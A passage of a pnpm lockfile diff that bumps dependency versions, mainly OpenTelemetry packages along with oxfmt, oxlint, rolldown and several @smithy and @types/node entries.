'@opentelemetry/otlp-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-metrics': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-metrics-otlp-http': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-metrics': 2.6.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-prometheus@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-prometheus@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-metrics': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-metrics': 2.6.0(@opentelemetry/api@1.9.0) '@opentelemetry/semantic-conventions': 1.40.0 - '@opentelemetry/exporter-trace-otlp-grpc@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-trace-otlp-grpc@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@grpc/grpc-js': 1.14.3 '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-grpc-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-trace-base': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-grpc-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-trace-base': 2.6.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-trace-otlp-http@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-trace-otlp-http@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-trace-base': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-trace-base': 2.6.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-trace-otlp-proto@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-trace-otlp-proto@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-trace-base': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-trace-base': 2.6.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-zipkin@2.5.1(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-zipkin@2.6.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-trace-base': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-trace-base': 2.6.0(@opentelemetry/api@1.9.0) '@opentelemetry/semantic-conventions': 1.40.0 - '@opentelemetry/instrumentation@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/instrumentation@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/api-logs': 0.212.0 - import-in-the-middle: 2.0.6 + '@opentelemetry/api-logs': 0.213.0 + import-in-the-middle: 3.0.0 require-in-the-middle: 8.0.1 transitivePeerDependencies: - supports-color - '@opentelemetry/otlp-exporter-base@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/otlp-exporter-base@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-grpc-exporter-base@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/otlp-grpc-exporter-base@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@grpc/grpc-js': 1.14.3 '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/otlp-transformer@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/api-logs': 0.212.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-logs': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-metrics': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-trace-base': 2.5.1(@opentelemetry/api@1.9.0) - protobufjs: 8.0.0 + '@opentelemetry/api-logs': 0.213.0 + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-logs': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-metrics': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-trace-base': 2.6.0(@opentelemetry/api@1.9.0) + protobufjs: 7.5.4 - '@opentelemetry/propagator-b3@2.5.1(@opentelemetry/api@1.9.0)': + '@opentelemetry/propagator-b3@2.6.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) - '@opentelemetry/propagator-jaeger@2.5.1(@opentelemetry/api@1.9.0)': + '@opentelemetry/propagator-jaeger@2.6.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) - '@opentelemetry/resources@2.5.1(@opentelemetry/api@1.9.0)': + '@opentelemetry/resources@2.6.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) '@opentelemetry/semantic-conventions': 1.40.0 - '@opentelemetry/sdk-logs@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/sdk-logs@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/api-logs': 0.212.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/api-logs': 0.213.0 + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/semantic-conventions': 1.40.0 - '@opentelemetry/sdk-metrics@2.5.1(@opentelemetry/api@1.9.0)': + '@opentelemetry/sdk-metrics@2.6.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-node@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/sdk-node@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/api-logs': 0.212.0 - '@opentelemetry/configuration': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/context-async-hooks': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-logs-otlp-grpc': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-logs-otlp-http': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-logs-otlp-proto': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-metrics-otlp-grpc': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-metrics-otlp-http': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-metrics-otlp-proto': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-prometheus': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-trace-otlp-grpc': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-trace-otlp-http': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-trace-otlp-proto': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-zipkin': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/instrumentation': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/propagator-b3': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/propagator-jaeger': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-logs': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-metrics': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-trace-base': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-trace-node': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/api-logs': 0.213.0 + '@opentelemetry/configuration': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/context-async-hooks': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-logs-otlp-grpc': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-logs-otlp-http': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-logs-otlp-proto': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-metrics-otlp-grpc': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-metrics-otlp-http': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-metrics-otlp-proto': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-prometheus': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-trace-otlp-grpc': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-trace-otlp-http': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-trace-otlp-proto': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-zipkin': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/instrumentation': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/propagator-b3': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/propagator-jaeger': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-logs': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-metrics': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-trace-base': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-trace-node': 2.6.0(@opentelemetry/api@1.9.0) '@opentelemetry/semantic-conventions': 1.40.0 transitivePeerDependencies: - supports-color - '@opentelemetry/sdk-trace-base@2.5.1(@opentelemetry/api@1.9.0)': + '@opentelemetry/sdk-trace-base@2.6.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) '@opentelemetry/semantic-conventions': 1.40.0 - '@opentelemetry/sdk-trace-node@2.5.1(@opentelemetry/api@1.9.0)': + '@opentelemetry/sdk-trace-node@2.6.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/context-async-hooks': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-trace-base': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/context-async-hooks': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-trace-base': 2.6.0(@opentelemetry/api@1.9.0) '@opentelemetry/semantic-conventions@1.40.0': {} - '@oxc-project/types@0.114.0': {} + '@oxc-project/types@0.115.0': {} - '@oxfmt/binding-android-arm-eabi@0.35.0': + '@oxfmt/binding-android-arm-eabi@0.36.0': optional: true - '@oxfmt/binding-android-arm64@0.35.0': + '@oxfmt/binding-android-arm64@0.36.0': optional: true - '@oxfmt/binding-darwin-arm64@0.35.0': + '@oxfmt/binding-darwin-arm64@0.36.0': optional: true - '@oxfmt/binding-darwin-x64@0.35.0': + '@oxfmt/binding-darwin-x64@0.36.0': optional: true - '@oxfmt/binding-freebsd-x64@0.35.0': + '@oxfmt/binding-freebsd-x64@0.36.0': optional: true - '@oxfmt/binding-linux-arm-gnueabihf@0.35.0': + '@oxfmt/binding-linux-arm-gnueabihf@0.36.0': optional: true - '@oxfmt/binding-linux-arm-musleabihf@0.35.0': + '@oxfmt/binding-linux-arm-musleabihf@0.36.0': optional: true - '@oxfmt/binding-linux-arm64-gnu@0.35.0': + '@oxfmt/binding-linux-arm64-gnu@0.36.0': optional: true - '@oxfmt/binding-linux-arm64-musl@0.35.0': + '@oxfmt/binding-linux-arm64-musl@0.36.0': optional: true - '@oxfmt/binding-linux-ppc64-gnu@0.35.0': + '@oxfmt/binding-linux-ppc64-gnu@0.36.0': optional: true - '@oxfmt/binding-linux-riscv64-gnu@0.35.0': + '@oxfmt/binding-linux-riscv64-gnu@0.36.0': optional: true - '@oxfmt/binding-linux-riscv64-musl@0.35.0': + '@oxfmt/binding-linux-riscv64-musl@0.36.0': optional: true - '@oxfmt/binding-linux-s390x-gnu@0.35.0': + '@oxfmt/binding-linux-s390x-gnu@0.36.0': optional: true - '@oxfmt/binding-linux-x64-gnu@0.35.0': + '@oxfmt/binding-linux-x64-gnu@0.36.0': optional: true - '@oxfmt/binding-linux-x64-musl@0.35.0': + '@oxfmt/binding-linux-x64-musl@0.36.0': optional: true - '@oxfmt/binding-openharmony-arm64@0.35.0': + '@oxfmt/binding-openharmony-arm64@0.36.0': optional: true - '@oxfmt/binding-win32-arm64-msvc@0.35.0': + '@oxfmt/binding-win32-arm64-msvc@0.36.0': optional: true - '@oxfmt/binding-win32-ia32-msvc@0.35.0': + '@oxfmt/binding-win32-ia32-msvc@0.36.0': optional: true - '@oxfmt/binding-win32-x64-msvc@0.35.0': + '@oxfmt/binding-win32-x64-msvc@0.36.0': optional: true - '@oxlint-tsgolint/darwin-arm64@0.15.0': + '@oxlint-tsgolint/darwin-arm64@0.16.0': optional: true - '@oxlint-tsgolint/darwin-x64@0.15.0': + '@oxlint-tsgolint/darwin-x64@0.16.0': optional: true - '@oxlint-tsgolint/linux-arm64@0.15.0': + '@oxlint-tsgolint/linux-arm64@0.16.0': optional: true - '@oxlint-tsgolint/linux-x64@0.15.0': + '@oxlint-tsgolint/linux-x64@0.16.0': optional: true - '@oxlint-tsgolint/win32-arm64@0.15.0': + '@oxlint-tsgolint/win32-arm64@0.16.0': optional: true - '@oxlint-tsgolint/win32-x64@0.15.0': + '@oxlint-tsgolint/win32-x64@0.16.0': optional: true - '@oxlint/binding-android-arm-eabi@1.50.0': + '@oxlint/binding-android-arm-eabi@1.51.0': optional: true - '@oxlint/binding-android-arm64@1.50.0': + '@oxlint/binding-android-arm64@1.51.0': optional: true - '@oxlint/binding-darwin-arm64@1.50.0': + '@oxlint/binding-darwin-arm64@1.51.0': optional: true - '@oxlint/binding-darwin-x64@1.50.0': + '@oxlint/binding-darwin-x64@1.51.0': optional: true - '@oxlint/binding-freebsd-x64@1.50.0': + '@oxlint/binding-freebsd-x64@1.51.0': optional: true - '@oxlint/binding-linux-arm-gnueabihf@1.50.0': + '@oxlint/binding-linux-arm-gnueabihf@1.51.0': optional: true - '@oxlint/binding-linux-arm-musleabihf@1.50.0': + '@oxlint/binding-linux-arm-musleabihf@1.51.0': optional: true - '@oxlint/binding-linux-arm64-gnu@1.50.0': + '@oxlint/binding-linux-arm64-gnu@1.51.0': optional: true - '@oxlint/binding-linux-arm64-musl@1.50.0': + '@oxlint/binding-linux-arm64-musl@1.51.0': optional: true - '@oxlint/binding-linux-ppc64-gnu@1.50.0': + '@oxlint/binding-linux-ppc64-gnu@1.51.0': optional: true - '@oxlint/binding-linux-riscv64-gnu@1.50.0': + '@oxlint/binding-linux-riscv64-gnu@1.51.0': optional: true - '@oxlint/binding-linux-riscv64-musl@1.50.0': + '@oxlint/binding-linux-riscv64-musl@1.51.0': optional: true - '@oxlint/binding-linux-s390x-gnu@1.50.0': + '@oxlint/binding-linux-s390x-gnu@1.51.0': optional: true - '@oxlint/binding-linux-x64-gnu@1.50.0': + '@oxlint/binding-linux-x64-gnu@1.51.0': optional: true - '@oxlint/binding-linux-x64-musl@1.50.0': + '@oxlint/binding-linux-x64-musl@1.51.0': optional: true - '@oxlint/binding-openharmony-arm64@1.50.0': + '@oxlint/binding-openharmony-arm64@1.51.0': optional: true - '@oxlint/binding-win32-arm64-msvc@1.50.0': + '@oxlint/binding-win32-arm64-msvc@1.51.0': optional: true - '@oxlint/binding-win32-ia32-msvc@1.50.0': + '@oxlint/binding-win32-ia32-msvc@1.51.0': optional: true - '@oxlint/binding-win32-x64-msvc@1.50.0': + '@oxlint/binding-win32-x64-msvc@1.51.0': optional: true '@pierre/diffs@1.0.11(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': @@ -8547,48 +9137,54 @@ snapshots: '@reflink/reflink-win32-x64-msvc': 0.1.19 optional: true - '@rolldown/binding-android-arm64@1.0.0-rc.5': + '@rolldown/binding-android-arm64@1.0.0-rc.7': optional: true - '@rolldown/binding-darwin-arm64@1.0.0-rc.5': + '@rolldown/binding-darwin-arm64@1.0.0-rc.7': optional: true - '@rolldown/binding-darwin-x64@1.0.0-rc.5': + '@rolldown/binding-darwin-x64@1.0.0-rc.7': optional: true - '@rolldown/binding-freebsd-x64@1.0.0-rc.5': + '@rolldown/binding-freebsd-x64@1.0.0-rc.7': optional: true - '@rolldown/binding-linux-arm-gnueabihf@1.0.0-rc.5': + '@rolldown/binding-linux-arm-gnueabihf@1.0.0-rc.7': optional: true - '@rolldown/binding-linux-arm64-gnu@1.0.0-rc.5': + '@rolldown/binding-linux-arm64-gnu@1.0.0-rc.7': optional: true - '@rolldown/binding-linux-arm64-musl@1.0.0-rc.5': + '@rolldown/binding-linux-arm64-musl@1.0.0-rc.7': optional: true - '@rolldown/binding-linux-x64-gnu@1.0.0-rc.5': + '@rolldown/binding-linux-ppc64-gnu@1.0.0-rc.7': optional: true - '@rolldown/binding-linux-x64-musl@1.0.0-rc.5': + '@rolldown/binding-linux-s390x-gnu@1.0.0-rc.7': optional: true - '@rolldown/binding-openharmony-arm64@1.0.0-rc.5': + '@rolldown/binding-linux-x64-gnu@1.0.0-rc.7': optional: true - '@rolldown/binding-wasm32-wasi@1.0.0-rc.5': + '@rolldown/binding-linux-x64-musl@1.0.0-rc.7': + optional: true + + '@rolldown/binding-openharmony-arm64@1.0.0-rc.7': + optional: true + + '@rolldown/binding-wasm32-wasi@1.0.0-rc.7': dependencies: '@napi-rs/wasm-runtime': 1.1.1 optional: true - '@rolldown/binding-win32-arm64-msvc@1.0.0-rc.5': + '@rolldown/binding-win32-arm64-msvc@1.0.0-rc.7': optional: true - '@rolldown/binding-win32-x64-msvc@1.0.0-rc.5': + '@rolldown/binding-win32-x64-msvc@1.0.0-rc.7': optional: true - '@rolldown/pluginutils@1.0.0-rc.5': {} + '@rolldown/pluginutils@1.0.0-rc.7': {} '@rollup/rollup-android-arm-eabi@4.59.0': optional: true @@ -8746,14 +9342,14 @@ snapshots: '@slack/logger@4.0.0': dependencies: - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@slack/oauth@3.0.4': dependencies: '@slack/logger': 4.0.0 '@slack/web-api': 7.14.1 '@types/jsonwebtoken': 9.0.10 - '@types/node': 25.3.3 + '@types/node': 25.3.5 jsonwebtoken: 9.0.3 transitivePeerDependencies: - debug @@ -8762,7 +9358,7 @@ snapshots: dependencies: '@slack/logger': 4.0.0 '@slack/web-api': 7.14.1 - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/ws': 8.18.1 eventemitter3: 5.0.4 ws: 8.19.0 @@ -8777,7 +9373,7 @@ snapshots: dependencies: '@slack/logger': 4.0.0 '@slack/types': 2.20.0 - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/retry': 0.12.0 axios: 1.13.5 eventemitter3: 5.0.4 @@ -8795,6 +9391,11 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/abort-controller@4.2.11': + dependencies: + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/chunked-blob-reader-native@4.2.2': dependencies: '@smithy/util-base64': 4.3.1 @@ -8804,6 +9405,15 @@ snapshots: dependencies: tslib: 2.8.1 + '@smithy/config-resolver@4.4.10': + dependencies: + '@smithy/node-config-provider': 4.3.11 + '@smithy/types': 4.13.0 + '@smithy/util-config-provider': 4.2.2 + '@smithy/util-endpoints': 3.3.2 + '@smithy/util-middleware': 4.2.11 + tslib: 2.8.1 + '@smithy/config-resolver@4.4.9': dependencies: '@smithy/node-config-provider': 4.3.10 @@ -8826,6 +9436,19 @@ snapshots: '@smithy/uuid': 1.1.1 tslib: 2.8.1 + '@smithy/core@3.23.9': + dependencies: + '@smithy/middleware-serde': 4.2.12 + '@smithy/protocol-http': 5.3.11 + '@smithy/types': 4.13.0 + '@smithy/util-base64': 4.3.2 + '@smithy/util-body-length-browser': 4.2.2 + '@smithy/util-middleware': 4.2.11 + '@smithy/util-stream': 4.5.17 + '@smithy/util-utf8': 4.2.2 + '@smithy/uuid': 1.1.2 + tslib: 2.8.1 + '@smithy/credential-provider-imds@4.2.10': dependencies: '@smithy/node-config-provider': 4.3.10 @@ -8834,6 +9457,14 @@ snapshots: '@smithy/url-parser': 4.2.10 tslib: 2.8.1 + '@smithy/credential-provider-imds@4.2.11': + dependencies: + '@smithy/node-config-provider': 4.3.11 + '@smithy/property-provider': 4.2.11 + '@smithy/types': 4.13.0 + '@smithy/url-parser': 4.2.11 + tslib: 2.8.1 + '@smithy/eventstream-codec@4.2.10': dependencies: '@aws-crypto/crc32': 5.2.0 @@ -8872,6 +9503,14 @@ snapshots: '@smithy/util-base64': 4.3.1 tslib: 2.8.1 + '@smithy/fetch-http-handler@5.3.13': + dependencies: + '@smithy/protocol-http': 5.3.11 + '@smithy/querystring-builder': 4.2.11 + '@smithy/types': 4.13.0 + '@smithy/util-base64': 4.3.2 + tslib: 2.8.1 + '@smithy/hash-blob-browser@4.2.11': dependencies: '@smithy/chunked-blob-reader': 5.2.1 @@ -8886,6 +9525,13 @@ snapshots: '@smithy/util-utf8': 4.2.1 tslib: 2.8.1 + '@smithy/hash-node@4.2.11': + dependencies: + '@smithy/types': 4.13.0 + '@smithy/util-buffer-from': 4.2.2 + '@smithy/util-utf8': 4.2.2 + tslib: 2.8.1 + '@smithy/hash-stream-node@4.2.10': dependencies: '@smithy/types': 4.13.0 @@ -8897,6 +9543,11 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/invalid-dependency@4.2.11': + dependencies: + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/is-array-buffer@2.2.0': dependencies: tslib: 2.8.1 @@ -8905,6 +9556,10 @@ snapshots: dependencies: tslib: 2.8.1 + '@smithy/is-array-buffer@4.2.2': + dependencies: + tslib: 2.8.1 + '@smithy/md5-js@4.2.10': dependencies: '@smithy/types': 4.13.0 @@ -8917,6 +9572,12 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/middleware-content-length@4.2.11': + dependencies: + '@smithy/protocol-http': 5.3.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/middleware-endpoint@4.4.20': dependencies: '@smithy/core': 3.23.6 @@ -8928,6 +9589,17 @@ snapshots: '@smithy/util-middleware': 4.2.10 tslib: 2.8.1 + '@smithy/middleware-endpoint@4.4.23': + dependencies: + '@smithy/core': 3.23.9 + '@smithy/middleware-serde': 4.2.12 + '@smithy/node-config-provider': 4.3.11 + '@smithy/shared-ini-file-loader': 4.4.6 + '@smithy/types': 4.13.0 + '@smithy/url-parser': 4.2.11 + '@smithy/util-middleware': 4.2.11 + tslib: 2.8.1 + '@smithy/middleware-retry@4.4.37': dependencies: '@smithy/node-config-provider': 4.3.10 @@ -8940,17 +9612,40 @@ snapshots: '@smithy/uuid': 1.1.1 tslib: 2.8.1 + '@smithy/middleware-retry@4.4.40': + dependencies: + '@smithy/node-config-provider': 4.3.11 + '@smithy/protocol-http': 5.3.11 + '@smithy/service-error-classification': 4.2.11 + '@smithy/smithy-client': 4.12.3 + '@smithy/types': 4.13.0 + '@smithy/util-middleware': 4.2.11 + '@smithy/util-retry': 4.2.11 + '@smithy/uuid': 1.1.2 + tslib: 2.8.1 + '@smithy/middleware-serde@4.2.11': dependencies: '@smithy/protocol-http': 5.3.10 '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/middleware-serde@4.2.12': + dependencies: + '@smithy/protocol-http': 5.3.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/middleware-stack@4.2.10': dependencies: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/middleware-stack@4.2.11': + dependencies: + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/node-config-provider@4.3.10': dependencies: '@smithy/property-provider': 4.2.10 @@ -8958,6 +9653,13 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/node-config-provider@4.3.11': + dependencies: + '@smithy/property-provider': 4.2.11 + '@smithy/shared-ini-file-loader': 4.4.6 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/node-http-handler@4.4.12': dependencies: '@smithy/abort-controller': 4.2.10 @@ -8966,36 +9668,74 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + 